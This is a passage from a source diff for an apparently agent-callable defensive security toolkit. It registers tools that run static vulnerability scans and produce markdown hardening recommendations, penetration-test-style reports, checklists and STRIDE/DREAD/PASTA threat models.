+ allFindings.push(...scanInjection(files, scanPath));
2751
+ }
2752
+ if (focus === 'all' || focus === 'auth') {
2753
+ allFindings.push(...scanAuth(files, scanPath));
2754
+ }
2755
+ if (focus === 'all' || focus === 'crypto') {
2756
+ allFindings.push(...scanCrypto(files, scanPath));
2757
+ }
2758
+ if (focus === 'all' || focus === 'deps') {
2759
+ allFindings.push(...scanDeps(files, scanPath));
2760
+ }
2761
+ if (focus === 'all' || focus === 'config') {
2762
+ allFindings.push(...scanConfig(files, scanPath));
2763
+ }
2764
+ const scanDuration = Date.now() - scanStart;
2765
+ const counts = severityCounts(allFindings);
2766
+ const lines = [
2767
+ '# Red Team Scan Results',
2768
+ '',
2769
+ `**Target**: \`${scanPath}\``,
2770
+ `**Scan Depth**: ${depth} (${files.length} files scanned)`,
2771
+ `**Focus**: ${focus}`,
2772
+ `**Duration**: ${scanDuration}ms`,
2773
+ `**Risk Score**: ${calculateRiskScore(allFindings)}/100 (Grade: ${riskGrade(calculateRiskScore(allFindings))})`,
2774
+ '',
2775
+ '## Summary',
2776
+ '',
2777
+ `| Severity | Count |`,
2778
+ `|----------|-------|`,
2779
+ `| CRITICAL | ${counts.critical} |`,
2780
+ `| HIGH | ${counts.high} |`,
2781
+ `| MEDIUM | ${counts.medium} |`,
2782
+ `| LOW | ${counts.low} |`,
2783
+ `| **Total** | **${allFindings.length}** |`,
2784
+ '',
2785
+ ];
2786
+ if (allFindings.length === 0) {
2787
+ lines.push('No vulnerabilities found. The codebase appears clean for the scanned categories.');
2788
+ lines.push('');
2789
+ lines.push('**Note**: This is a static analysis tool. It may miss vulnerabilities that require:');
2790
+ lines.push('- Dynamic testing (fuzzing, pen testing)');
2791
+ lines.push('- Authentication flow analysis');
2792
+ lines.push('- Business logic review');
2793
+ lines.push('- Runtime dependency behavior');
2794
+ }
2795
+ else {
2796
+ // Group by category
2797
+ const categories = new Map();
2798
+ for (const f of allFindings) {
2799
+ const cat = categories.get(f.category) || [];
2800
+ cat.push(f);
2801
+ categories.set(f.category, cat);
2802
+ }
2803
+ for (const [category, findings] of Array.from(categories.entries())) {
2804
+ lines.push(`## ${category} (${findings.length} findings)`);
2805
+ lines.push('');
2806
+ lines.push(formatFindings(findings));
2807
+ }
2808
+ // Top 5 most critical
2809
+ const topFindings = allFindings
2810
+ .sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity])
2811
+ .slice(0, 5);
2812
+ lines.push('## Priority Remediation (Top 5)');
2813
+ lines.push('');
2814
+ for (let i = 0; i < topFindings.length; i++) {
2815
+ const f = topFindings[i];
2816
+ lines.push(`${i + 1}. **${f.severity.toUpperCase()}** — ${f.title} in \`${f.file}:${f.line}\``);
2817
+ if (f.remediation)
2818
+ lines.push(` Fix: ${f.remediation}`);
2819
+ }
2820
+ }
2821
+ return lines.join('\n');
2822
+ },
2823
+ });
2824
+ // ─── Tool 2: Blue Team Harden ────────────────────────────────────────────────
2825
+ registerTool({
2826
+ name: 'blueteam_harden',
2827
+ description: 'Blue team: generate security hardening recommendations with ready-to-use code snippets. Produces security headers middleware, input validation patterns, auth hardening, crypto best practices, and logging/monitoring setup. Returns actionable code that can be directly applied.',
2828
+ parameters: {
2829
+ path: { type: 'string', description: 'Directory to analyze for context (default: current directory)' },
2830
+ focus: { type: 'string', description: 'Hardening focus: "headers", "auth", "input", "crypto", "logging", "all" (default: "all")' },
2831
+ },
2832
+ tier: 'free',
2833
+ timeout: 60_000,
2834
+ async execute(args) {
2835
+ const hardenPath = resolvePath(String(args.path || '.'));
2836
+ const focus = String(args.focus || 'all').toLowerCase();
2837
+ // Quick scan to understand the codebase context
2838
+ const files = collectFiles(hardenPath, 500);
2839
+ const hasExpress = files.some(f => /express/i.test(f.content));
2840
+ const hasFastify = files.some(f => /fastify/i.test(f.content));
2841
+ const hasNextjs = files.some(f => /next/i.test(f.path) || /next\.config/i.test(f.path));
2842
+ const hasDjango = files.some(f => /django/i.test(f.content));
2843
+ const hasFlask = files.some(f => /flask/i.test(f.content));
2844
+ const hasKoa = files.some(f => /koa/i.test(f.content));
2845
+ const framework = hasExpress ? 'Express.js' :
2846
+ hasFastify ? 'Fastify' :
2847
+ hasNextjs ? 'Next.js' :
2848
+ hasDjango ? 'Django' :
2849
+ hasFlask ? 'Flask' :
2850
+ hasKoa ? 'Koa' :
2851
+ 'Generic';
2852
+ const lines = [
2853
+ '# Blue Team Hardening Recommendations',
2854
+ '',
2855
+ `**Target**: \`${hardenPath}\``,
2856
+ `**Detected Framework**: ${framework}`,
2857
+ `**Files Analyzed**: ${files.length}`,
2858
+ '',
2859
+ '---',
2860
+ '',
2861
+ ];
2862
+ // Run a quick red team scan to identify what needs hardening
2863
+ const findings = [];
2864
+ findings.push(...scanSecrets(files, hardenPath));
2865
+ findings.push(...scanInjection(files, hardenPath));
2866
+ findings.push(...scanAuth(files, hardenPath));
2867
+ findings.push(...scanCrypto(files, hardenPath));
2868
+ findings.push(...scanConfig(files, hardenPath));
2869
+ if (findings.length > 0) {
2870
+ const counts = severityCounts(findings);
2871
+ lines.push('## Current Vulnerability Summary');
2872
+ lines.push('');
2873
+ lines.push(`Found **${findings.length}** issues (${counts.critical} critical, ${counts.high} high, ${counts.medium} medium, ${counts.low} low)`);
2874
+ lines.push('');
2875
+ lines.push('The hardening recommendations below directly address these findings.');
2876
+ lines.push('');
2877
+ lines.push('---');
2878
+ lines.push('');
2879
+ }
2880
+ if (focus === 'all' || focus === 'headers') {
2881
+ lines.push(generateSecurityHeaders());
2882
+ }
2883
+ if (focus === 'all' || focus === 'input') {
2884
+ lines.push(generateInputValidation());
2885
+ }
2886
+ if (focus === 'all' || focus === 'auth') {
2887
+ lines.push(generateAuthHardening());
2888
+ }
2889
+ if (focus === 'all' || focus === 'crypto') {
2890
+ lines.push(generateCryptoBestPractices());
2891
+ }
2892
+ if (focus === 'all' || focus === 'logging') {
2893
+ lines.push(generateLoggingPatterns());
2894
+ }
2895
+ // Add quick-apply section
2896
+ lines.push('---');
2897
+ lines.push('');
2898
+ lines.push('## Quick-Apply Commands');
2899
+ lines.push('');
2900
+ if (hasExpress || framework === 'Generic') {
2901
+ lines.push('### Install Security Dependencies');
2902
+ lines.push('```bash');
2903
+ lines.push('npm install helmet express-rate-limit cors csurf argon2 zod winston');
2904
+ lines.push('npm install -D @types/express-rate-limit @types/csurf');
2905
+ lines.push('```');
2906
+ lines.push('');
2907
+ }
2908
+ if (hasFastify) {
2909
+ lines.push('### Install Security Dependencies');
2910
+ lines.push('```bash');
2911
+ lines.push('npm install @fastify/helmet @fastify/rate-limit @fastify/cors @fastify/csrf-protection argon2 zod');
2912
+ lines.push('```');
2913
+ lines.push('');
2914
+ }
2915
+ if (hasNextjs) {
2916
+ lines.push('### Install Security Dependencies');
2917
+ lines.push('```bash');
2918
+ lines.push('npm install argon2 zod next-safe');
2919
+ lines.push('```');
2920
+ lines.push('');
2921
+ }
2922
+ lines.push('### Secret Scanning');
2923
+ lines.push('```bash');
2924
+ lines.push('# Install and run gitleaks');
2925
+ lines.push('brew install gitleaks # or: go install github.com/gitleaks/gitleaks/v8@latest');
2926
+ lines.push('gitleaks detect --source . --verbose');
2927
+ lines.push('');
2928
+ lines.push('# Or use trufflehog');
2929
+ lines.push('npx trufflehog filesystem --directory=. --only-verified');
2930
+ lines.push('```');
2931
+ lines.push('');
2932
+ lines.push('### Dependency Audit');
2933
+ lines.push('```bash');
2934
+ lines.push('npm audit');
2935
+ lines.push('npm audit fix');
2936
+ lines.push('npx better-npm-audit audit');
2937
+ lines.push('```');
2938
+ return lines.join('\n');
2939
+ },
2940
+ });
2941
+ // ─── Tool 3: Red Team Report ─────────────────────────────────────────────────
2942
+ registerTool({
2943
+ name: 'redteam_report',
2944
+ description: 'Generate a professional penetration test report. Runs a full red team scan and formats results as an executive assessment with risk score, attack surface mapping, critical findings with exploitation scenarios, risk matrix, and prioritized remediation plan.',
2945
+ parameters: {
2946
+ path: { type: 'string', description: 'Directory to assess (default: current directory)' },
2947
+ },
2948
+ tier: 'free',
2949
+ timeout: 180_000,
2950
+ async execute(args) {
2951
+ const reportPath = resolvePath(String(args.path || '.'));
2952
+ if (!existsSync(reportPath)) {
2953
+ return `Error: Path does not exist: ${reportPath}`;
2954
+ }
2955
+ const files = collectFiles(reportPath, MAX_FILES_DEEP);
2956
+ if (files.length === 0) {
2957
+ return `No source files found in ${reportPath}.`;
2958
+ }
2959
+ const scanStart = Date.now();
2960
+ // Run all scans
2961
+ const secretFindings = scanSecrets(files, reportPath);
2962
+ const injectionFindings = scanInjection(files, reportPath);
2963
+ const authFindings = scanAuth(files, reportPath);
2964
+ const cryptoFindings = scanCrypto(files, reportPath);
2965
+ const depFindings = scanDeps(files, reportPath);
2966
+ const configFindings = scanConfig(files, reportPath);
2967
+ const allFindings = [
2968
+ ...secretFindings,
2969
+ ...injectionFindings,
2970
+ ...authFindings,
2971
+ ...cryptoFindings,
2972
+ ...depFindings,
2973
+ ...configFindings,
2974
+ ];
2975
+ const scanDuration = Date.now() - scanStart;
2976
+ const riskScore = calculateRiskScore(allFindings);
2977
+ const grade = riskGrade(riskScore);
2978
+ const counts = severityCounts(allFindings);
2979
+ // Determine tech stack
2980
+ const techStack = [];
2981
+ if (files.some(f => f.ext === '.ts' || f.ext === '.tsx'))
2982
+ techStack.push('TypeScript');
2983
+ if (files.some(f => f.ext === '.js' || f.ext === '.jsx'))
2984
+ techStack.push('JavaScript');
2985
+ if (files.some(f => f.ext === '.py'))
2986
+ techStack.push('Python');
2987
+ if (files.some(f => f.ext === '.go'))
2988
+ techStack.push('Go');
2989
+ if (files.some(f => f.ext === '.java'))
2990
+ techStack.push('Java');
2991
+ if (files.some(f => f.ext === '.rb'))
2992
+ techStack.push('Ruby');
2993
+ if (files.some(f => f.ext === '.rs'))
2994
+ techStack.push('Rust');
2995
+ if (files.some(f => f.ext === '.php'))
2996
+ techStack.push('PHP');
2997
+ if (files.some(f => f.ext === '.c' || f.ext === '.cpp'))
2998
+ techStack.push('C/C++');
2999
+ if (files.some(f => f.ext === '.cs'))
3000
+ techStack.push('C#');
3001
+ // Count unique vulnerable files
3002
+ const vulnerableFiles = new Set(allFindings.map(f => f.file));
3003
+ const lines = [];
3004
+ // ── Executive Summary ──
3005
+ lines.push('# Penetration Test Report');
3006
+ lines.push('');
3007
+ lines.push('---');
3008
+ lines.push('');
3009
+ lines.push('## Executive Summary');
3010
+ lines.push('');
3011
+ lines.push(`| Metric | Value |`);
3012
+ lines.push(`|--------|-------|`);
3013
+ lines.push(`| **Target** | \`${reportPath}\` |`);
3014
+ lines.push(`| **Assessment Date** | ${new Date().toISOString().split('T')[0]} |`);
3015
+ lines.push(`| **Files Scanned** | ${files.length} |`);
3016
+ lines.push(`| **Vulnerable Files** | ${vulnerableFiles.size} (${((vulnerableFiles.size / files.length) * 100).toFixed(1)}%) |`);
3017
+ lines.push(`| **Tech Stack** | ${techStack.join(', ') || 'Unknown'} |`);
3018
+ lines.push(`| **Scan Duration** | ${(scanDuration / 1000).toFixed(1)}s |`);
3019
+ lines.push(`| **Risk Score** | **${riskScore}/100** |`);
3020
+ lines.push(`| **Risk Grade** | **${grade}** |`);
3021
+ lines.push('');
3022
+ // Risk summary paragraph
3023
+ if (riskScore === 0) {
3024
+ lines.push('The codebase shows no detected vulnerabilities from static analysis. This is a positive indicator but does not guarantee security. Dynamic testing, manual review, and runtime analysis are recommended for comprehensive assurance.');
3025
+ }
3026
+ else if (riskScore <= 15) {
3027
+ lines.push(`The codebase has a **low risk** posture with ${allFindings.length} findings. Most issues are minor and can be addressed in normal development cycles. No critical exploitation paths were identified.`);
3028
+ }
3029
+ else if (riskScore <= 30) {
3030
+ lines.push(`The codebase has a **moderate risk** posture with ${allFindings.length} findings across ${vulnerableFiles.size} files. Several issues require attention, particularly ${counts.critical > 0 ? 'the critical findings' : 'the high-severity findings'} which should be prioritized.`);
3031
+ }
3032
+ else if (riskScore <= 50) {
3033
+ lines.push(`The codebase has a **high risk** posture with ${allFindings.length} findings. **${counts.critical} critical** and **${counts.high} high** severity issues require immediate attention. An attacker with access to this code could exploit multiple vulnerability classes.`);
3034
+ }
3035
+ else {
3036
+ lines.push(`The codebase has a **critical risk** posture with ${allFindings.length} findings. **${counts.critical} critical** vulnerabilities present immediate exploitation risks. Remediation should begin immediately, starting with secret rotation and injection fixes.`);
3037
+ }
3038
+ lines.push('');
3039
+ // ── Findings Summary Table ──
3040
+ lines.push('## Findings Summary');
3041
+ lines.push('');
3042
+ lines.push('| Severity | Count | Categories |');
3043
+ lines.push('|----------|-------|------------|');
3044
+ const criticalCats = Array.from(new Set(allFindings.filter(f => f.severity === 'critical').map(f => f.category))).join(', ');
3045
+ const highCats = Array.from(new Set(allFindings.filter(f => f.severity === 'high').map(f => f.category))).join(', ');
3046
+ const mediumCats = Array.from(new Set(allFindings.filter(f => f.severity === 'medium').map(f => f.category))).join(', ');
3047
+ const lowCats = Array.from(new Set(allFindings.filter(f => f.severity === 'low').map(f => f.category))).join(', ');
3048
+ lines.push(`| CRITICAL | ${counts.critical} | ${criticalCats || '-'} |`);
3049
+ lines.push(`| HIGH | ${counts.high} | ${highCats || '-'} |`);
3050
+ lines.push(`| MEDIUM | ${counts.medium} | ${mediumCats || '-'} |`);
3051
+ lines.push(`| LOW | ${counts.low} | ${lowCats || '-'} |`);
3052
+ lines.push(`| **TOTAL** | **${allFindings.length}** | |`);
3053
+ lines.push('');
3054
+ // ── Attack Surface Map ──
3055
+ lines.push('## Attack Surface Map');
3056
+ lines.push('');
3057
+ const attackSurface = {
3058
+ 'Entry Points': [],
3059
+ 'Data Stores': [],
3060
+ 'Authentication': [],
3061
+ 'External Integrations': [],
3062
+ 'Sensitive Operations': [],
3063
+ };
3064
+ for (const file of files) {
3065
+ const rel = relative(reportPath, file.path);
3066
+ if (/(?:route|api|endpoint|controller|handler|server|app)\./i.test(rel)) {
3067
+ attackSurface['Entry Points'].push(rel);
3068
+ }
3069
+ if (/(?:database|db|model|schema|migration|prisma|drizzle)/i.test(rel)) {
3070
+ attackSurface['Data Stores'].push(rel);
3071
+ }
3072
+ if (/(?:auth|login|session|passport|oauth|jwt)/i.test(rel)) {
3073
+ attackSurface['Authentication'].push(rel);
3074
+ }
3075
+ if (/(?:email|payment|stripe|webhook|notify|sms)/i.test(rel) || /(?:fetch|axios|http|request)/i.test(rel)) {
3076
+ if (attackSurface['External Integrations'].length < 10) {
3077
+ attackSurface['External Integrations'].push(rel);
3078
+ }
3079
+ }
3080
+ if (/(?:upload|crypto|encrypt|admin|deploy)/i.test(rel)) {
3081
+ attackSurface['Sensitive Operations'].push(rel);
3082
+ }
3083
+ }
3084
+ for (const [surface, paths] of Object.entries(attackSurface)) {
3085
+ if (paths.length > 0) {
3086
+ lines.push(`### ${surface}`);
3087
+ for (const p of paths.slice(0, 10)) {
3088
+ lines.push(`- \`${p}\``);
3089
+ }
3090
+ if (paths.length > 10) {
3091
+ lines.push(`- _+${paths.length - 10} more_`);
3092
+ }
3093
+ lines.push('');
3094
+ }
3095
+ }
3096
+ // ── Risk Matrix ──
3097
+ lines.push('## Risk Matrix');
3098
+ lines.push('');
3099
+ lines.push('| | Low Impact | Medium Impact | High Impact | Critical Impact |');
3100
+ lines.push('|---|---|---|---|---|');
3101
+ const matrixCells = (likelihood) => {
3102
+ const findingsForLikelihood = allFindings.filter(f => {
3103
+ if (likelihood === 'High')
3104
+ return f.severity === 'critical' || f.severity === 'high';
3105
+ if (likelihood === 'Medium')
3106
+ return f.severity === 'medium';
3107
+ return f.severity === 'low';
3108
+ });
3109
+ const impacts = { low: 0, medium: 0, high: 0, critical: 0 };
3110
+ for (const f of findingsForLikelihood) {
3111
+ impacts[f.severity]++;
3112
+ }
3113
+ return `| **${likelihood} Likelihood** | ${impacts.low || '-'} | ${impacts.medium || '-'} | ${impacts.high || '-'} | ${impacts.critical || '-'} |`;
3114
+ };
3115
+ lines.push(matrixCells('High'));
3116
+ lines.push(matrixCells('Medium'));
3117
+ lines.push(matrixCells('Low'));
3118
+ lines.push('');
3119
+ // ── Critical Findings Detail ──
3120
+ if (allFindings.length > 0) {
3121
+ const criticalFindings = allFindings
3122
+ .filter(f => f.severity === 'critical' || f.severity === 'high')
3123
+ .sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity]);
3124
+ if (criticalFindings.length > 0) {
3125
+ lines.push('## Critical & High Findings');
3126
+ lines.push('');
3127
+ lines.push(formatFindings(criticalFindings.slice(0, 20)));
3128
+ }
3129
+ const otherFindings = allFindings.filter(f => f.severity === 'medium' || f.severity === 'low');
3130
+ if (otherFindings.length > 0) {
3131
+ lines.push('## Medium & Low Findings');
3132
+ lines.push('');
3133
+ if (otherFindings.length > 15) {
3134
+ lines.push(formatFindings(otherFindings.slice(0, 15)));
3135
+ lines.push(`_+${otherFindings.length - 15} additional findings omitted for brevity._`);
3136
+ lines.push('');
3137
+ }
3138
+ else {
3139
+ lines.push(formatFindings(otherFindings));
3140
+ }
3141
+ }
3142
+ }
3143
+ // ── Remediation Plan ──
3144
+ lines.push('## Prioritized Remediation Plan');
3145
+ lines.push('');
3146
+ if (counts.critical > 0) {
3147
+ lines.push('### Phase 1 — Immediate (0-24 hours)');
3148
+ lines.push('');
3149
+ const criticals = allFindings.filter(f => f.severity === 'critical');
3150
+ for (const f of criticals.slice(0, 10)) {
3151
+ lines.push(`- [ ] **${f.title}** in \`${f.file}:${f.line}\``);
3152
+ if (f.remediation)
3153
+ lines.push(` - ${f.remediation}`);
3154
+ }
3155
+ lines.push('');
3156
+ }
3157
+ if (counts.high > 0) {
3158
+ lines.push(`### Phase 2 — Short-term (1-7 days)`);
3159
+ lines.push('');
3160
+ const highs = allFindings.filter(f => f.severity === 'high');
3161
+ for (const f of highs.slice(0, 10)) {
3162
+ lines.push(`- [ ] **${f.title}** in \`${f.file}:${f.line}\``);
3163
+ if (f.remediation)
3164
+ lines.push(` - ${f.remediation}`);
3165
+ }
3166
+ lines.push('');
3167
+ }
3168
+ if (counts.medium > 0) {
3169
+ lines.push(`### Phase 3 — Medium-term (1-4 weeks)`);
3170
+ lines.push('');
3171
+ const mediums = allFindings.filter(f => f.severity === 'medium');
3172
+ for (const f of mediums.slice(0, 10)) {
3173
+ lines.push(`- [ ] **${f.title}** in \`${f.file}:${f.line}\``);
3174
+ }
3175
+ lines.push('');
3176
+ }
3177
+ if (counts.low > 0) {
3178
+ lines.push(`### Phase 4 — Long-term (ongoing)`);
3179
+ lines.push('');
3180
+ const lows = allFindings.filter(f => f.severity === 'low');
3181
+ lines.push(`- [ ] Address ${lows.length} low-severity findings during regular maintenance`);
3182
+ lines.push('- [ ] Implement automated security scanning in CI/CD pipeline');
3183
+ lines.push('- [ ] Schedule quarterly security reviews');
3184
+ lines.push('');
3185
+ }
3186
+ lines.push('---');
3187
+ lines.push('');
3188
+ lines.push('_Report generated by kbot redteam_report. This is a static analysis tool._');
3189
+ lines.push('_For comprehensive security assessment, combine with dynamic testing, manual penetration testing, and runtime analysis._');
3190
+ return lines.join('\n');
3191
+ },
3192
+ });
3193
+ // ─── Tool 4: Blue Team Checklist ─────────────────────────────────────────────
3194
+ registerTool({
3195
+ name: 'blueteam_checklist',
3196
+ description: 'Generate a comprehensive security hardening checklist tailored to a specific framework. Covers authentication, input validation, security headers, cryptography, logging, rate limiting, CORS/CSRF, dependency management, secrets, and infrastructure. Returns checkboxes for tracking completion.',
3197
+ parameters: {
3198
+ framework: { type: 'string', description: 'Framework: "express", "nextjs", "fastify", "django", "flask", "rails", "generic" (default: "generic")' },
3199
+ },
3200
+ tier: 'free',
3201
+ timeout: 30_000,
3202
+ async execute(args) {
3203
+ const framework = String(args.framework || 'generic').toLowerCase();
3204
+ const validFrameworks = ['express', 'nextjs', 'fastify', 'django', 'flask', 'rails', 'generic'];
3205
+ if (!validFrameworks.includes(framework)) {
3206
+ return `Invalid framework: "${framework}". Valid options: ${validFrameworks.join(', ')}`;
3207
+ }
3208
+ return generateChecklist(framework);
3209
+ },
3210
+ });
3211
+ // ─── Tool 5: Threat Model ────────────────────────────────────────────────────
3212
+ registerTool({
3213
+ name: 'threat_model',
3214
+ description: 'Perform threat modeling on a codebase. Analyzes code structure to identify data flows, trust boundaries, and threats. Supports STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege), DREAD (Damage, Reproducibility, Exploitability, Affected Users, Discoverability), and PASTA (Process for Attack Simulation and Threat Analysis) methodologies.',
3215
+ parameters: {
3216
+ path: { type: 'string', description: 'Directory to analyze (default: current directory)' },
3217
+ methodology: { type: 'string', description: 'Methodology: "stride", "dread", "pasta" (default: "stride")' },
3218
+ },
3219
+ tier: 'free',
3220
+ timeout: 120_000,
3221
+ async execute(args) {
3222
+ const modelPath = resolvePath(String(args.path || '.'));
3223
+ const methodology = String(args.methodology || 'stride').toLowerCase();
3224
+ if (!existsSync(modelPath)) {
3225
+ return `Error: Path does not exist: ${modelPath}`;
3226
+ }
3227
+ const validMethods = ['stride', 'dread', 'pasta'];
3228
+ if (!validMethods.includes(methodology)) {
3229
+ return `Invalid methodology: "${methodology}". Valid options: ${validMethods.join(', ')}`;
3230
+ }
3231
+ const files = collectFiles(modelPath, MAX_FILES_STANDARD);
3232
+ if (files.length === 0) {
3233
+ return `No source files found in ${modelPath}.`;
3234
+ }
3235
+ // Determine tech stack
3236
+ const techStack = [];
3237
+ if (files.some(f => f.ext === '.ts' || f.ext === '.tsx'))
3238
+ techStack.push('TypeScript');
3239
+ if (files.some(f => f.ext === '.js' || f.ext === '.jsx'))
3240
+ techStack.push('JavaScript');
3241
+ if (files.some(f => f.ext === '.py'))
3242
+ techStack.push('Python');
3243
+ if (files.some(f => f.ext === '.go'))
3244
+ techStack.push('Go');
3245
+ if (files.some(f => f.ext === '.java'))
3246
+ techStack.push('Java');
3247
+ if (files.some(f => f.ext === '.rb'))
3248
+ techStack.push('Ruby');
3249
+ if (files.some(f => f.ext === '.rs'))
3250
+ techStack.push('Rust');
3251
+ if (files.some(f => f.ext === '.php'))
3252
+ techStack.push('PHP');
3253
+ // Detect components
3254
+ const components = {};
3255
+ for (const file of files) {
3256
+ const rel = relative(modelPath, file.path);
3257
+ const dir = rel.split('/')[0];
3258
+ if (!components[dir])
3259
+ components[dir] = [];
3260
+ if (components[dir].length < 5)
3261
+ components[dir].push(rel);
3262
+ }
3263
+ let threats;
3264
+ switch (methodology) {
3265
+ case 'stride':
3266
+ threats = analyzeSTRIDE(files, modelPath);
3267
+ break;
3268
+ case 'dread':
3269
+ threats = analyzeDREAD(files, modelPath);
3270
+ break;
3271
+ case 'pasta':
3272
+ threats = analyzePASTA(files, modelPath);
3273
+ break;
3274
+ default:
3275
+ threats = analyzeSTRIDE(files, modelPath);
3276
+ }
3277
+ const lines = [
3278
+ `# Threat Model — ${methodology.toUpperCase()}`,
3279
+ '',
3280
+ `**Target**: \`${modelPath}\``,
3281
+ `**Methodology**: ${methodology.toUpperCase()}`,
3282
+ `**Files Analyzed**: ${files.length}`,
3283
+ `**Tech Stack**: ${techStack.join(', ') || 'Unknown'}`,
3284
+ `**Date**: ${new Date().toISOString().split('T')[0]}`,
3285
+ '',
3286
+ '---',
3287
+ '',
3288
+ ];
3289
+ // System Overview
3290
+ lines.push('## System Overview');
3291
+ lines.push('');
3292
+ lines.push('### Components');
3293
+ lines.push('');
3294
+ for (const [dir, paths] of Object.entries(components)) {
3295
+ if (paths.length > 0) {
3296
+ lines.push(`- **${dir}/**: ${paths.length} files`);
3297
+ }
3298
+ }
3299
+ lines.push('');
3300
+ // Trust Boundaries
3301
+ lines.push('### Trust Boundaries');
3302
+ lines.push('');
3303
+ lines.push('```');
3304
+ lines.push('Internet');
3305
+ lines.push(' |');
3306
+ lines.push(' | [TLS/HTTPS]');
3307
+ lines.push(' |');
3308
+ lines.push(' v');
3309
+ lines.push('CDN / Load Balancer');
3310
+ lines.push(' |');
3311
+ lines.push(' | [Trust Boundary 1: External -> Application]');
3312
+ lines.push(' |');
3313
+ lines.push(' v');
3314
+ lines.push('Application Server');
3315
+ lines.push(' |--- Static Assets');
3316
+ lines.push(' |--- API Routes ---- [Auth Middleware] ---- Protected Resources');
3317
+ lines.push(' |--- WebSocket');
3318
+ lines.push(' |');
3319
+ lines.push(' | [Trust Boundary 2: Application -> Data]');
3320
+ lines.push(' |');
3321
+ lines.push(' v');
3322
+ lines.push('Database / Cache / File Storage');
3323
+ lines.push(' |');
3324
+ lines.push(' | [Trust Boundary 3: Internal -> External Services]');
3325
+ lines.push(' |');
3326
+ lines.push(' v');
3327
+ lines.push('Third-Party APIs (Payment, Email, Auth providers)');
3328
+ lines.push('```');
3329
+ lines.push('');
3330
+ // Data Flows
3331
+ lines.push('### Data Flows');
3332
+ lines.push('');
3333
+ const hasAuth = files.some(f => /(?:auth|login|session)/i.test(f.path));
3334
+ const hasApi = files.some(f => /(?:api|route|endpoint)/i.test(f.path));
3335
+ const hasDb = files.some(f => /(?:database|db|model|schema)/i.test(f.path));
3336
+ const hasFileOps = files.some(f => /(?:upload|download|file|storage)/i.test(f.path));
3337
+ const hasPayments = files.some(f => /(?:stripe|payment|billing)/i.test(f.content));
3338
+ if (hasAuth) {
3339
+ lines.push('1. **Authentication Flow**: User -> Login Form -> API -> Auth Service -> JWT/Session -> Client');
3340
+ }
3341
+ if (hasApi) {
3342
+ lines.push('2. **API Request Flow**: Client -> API Gateway -> Auth Check -> Route Handler -> Database -> Response');
3343
+ }
3344
+ if (hasFileOps) {
3345
+ lines.push('3. **File Upload Flow**: Client -> Upload Endpoint -> Validation -> Storage -> CDN -> Serve');
3346
+ }
3347
+ if (hasPayments) {
3348
+ lines.push('4. **Payment Flow**: Client -> Checkout -> Payment Provider (Stripe) -> Webhook -> Order Update');
3349
+ }
3350
+ if (hasDb) {
3351
+ lines.push('5. **Data Flow**: User Input -> Validation -> Sanitization -> ORM/Query -> Database -> Response Serialization');
3352
+ }
3353
+ lines.push('');
3354
+ // Threats
3355
+ lines.push('---');
3356
+ lines.push('');
3357
+ lines.push('## Identified Threats');
3358
+ lines.push('');
3359
+ if (methodology === 'stride') {
3360
+ const categories = ['Spoofing', 'Tampering', 'Repudiation', 'Information Disclosure', 'Denial of Service', 'Elevation of Privilege'];
3361
+ for (const cat of categories) {
3362
+ const catThreats = threats.filter(t => t.category === cat);
3363
+ lines.push(`### ${cat}`);
3364
+ lines.push('');
3365
+ if (catThreats.length === 0) {
3366
+ lines.push('_No specific threats identified for this category based on static analysis._');
3367
+ lines.push('');
3368
+ }
3369
+ else {
3370
+ for (const t of catThreats) {
3371
+ lines.push(`#### ${t.threat}`);
3372
+ lines.push('');
3373
+ lines.push(`**Severity**: ${t.severity.toUpperCase()}`);
3374
+ lines.push(`**Description**: ${t.description}`);
3375
+ if (t.affected.length > 0) {
3376
+ lines.push(`**Affected Components**: ${t.affected.slice(0, 5).map(a => `\`${a}\``).join(', ')}${t.affected.length > 5 ? ` +${t.affected.length - 5} more` : ''}`);
3377
+ }
3378
+ lines.push(`**Mitigation**: ${t.mitigation}`);
3379
+ lines.push('');
3380
+ }
3381
+ }
3382
+ }
3383
+ }
3384
+ else if (methodology === 'dread') {
3385
+ const sorted = threats.sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity]);
3386
+ for (const t of sorted) {
3387
+ lines.push(`### ${t.threat}`);
3388
+ lines.push('');
3389
+ lines.push(`**Category**: ${t.category}`);
3390
+ lines.push(`**Severity**: ${t.severity.toUpperCase()}`);
3391
+ lines.push(`**Description**: ${t.description}`);
3392
+ if (t.affected.length > 0) {
3393
+ lines.push(`**Affected Components**: ${t.affected.slice(0, 5).map(a => `\`${a}\``).join(', ')}`);
3394
+ }
3395
+ lines.push(`**Mitigation**: ${t.mitigation}`);
3396
+ lines.push('');
3397
+ }
3398
+ }
3399
+ else if (methodology === 'pasta') {
3400
+ for (const t of threats) {
3401
+ lines.push(`### ${t.threat}`);
3402
+ lines.push('');
3403
+ if (t.category.startsWith('PASTA Stage')) {
3404
+ lines.push(`**Stage**: ${t.category}`);
3405
+ }
3406
+ else {
3407
+ lines.push(`**Category**: ${t.category}`);
3408
+ lines.push(`**Severity**: ${t.severity.toUpperCase()}`);
3409
+ }
3410
+ lines.push(`**Description**: ${t.description}`);
3411
+ if (t.affected.length > 0 && t.affected[0] !== 'application-wide') {
3412
+ lines.push(`**Affected Components**: ${t.affected.slice(0, 5).map(a => `\`${a}\``).join(', ')}`);
3413
+ }
3414
+ lines.push(`**Mitigation**: ${t.mitigation}`);
3415
+ lines.push('');
3416
+ }
3417
+ }
3418
+ // Summary
3419
+ lines.push('---');
3420
+ lines.push('');
3421
+ lines.push('## Summary & Recommendations');
3422
+ lines.push('');
3423
+ lines.push(`Total threats identified: **${threats.length}**`);
3424
+ lines.push('');
3425
+ const criticalThreats = threats.filter(t => t.severity === 'critical');
3426
+ const highThreats = threats.filter(t => t.severity === 'high');
3427
+ const mediumThreats = threats.filter(t => t.severity === 'medium');
3428
+ if (criticalThreats.length > 0) {
3429
+ lines.push('### Immediate Actions Required');
3430
+ lines.push('');
3431
+ for (const t of criticalThreats) {
3432
+ lines.push(`- [ ] ${t.threat}: ${t.mitigation}`);
3433
+ }
3434
+ lines.push('');
3435
+ }
3436
+ if (highThreats.length > 0) {
3437
+ lines.push('### High Priority');
3438
+ lines.push('');
3439
+ for (const t of highThreats) {
3440
+ lines.push(`- [ ] ${t.threat}: ${t.mitigation}`);
3441
+ }
3442
+ lines.push('');
3443
+ }
3444
+ if (mediumThreats.length > 0) {
3445
+ lines.push('### Medium Priority');
3446
+ lines.push('');
3447
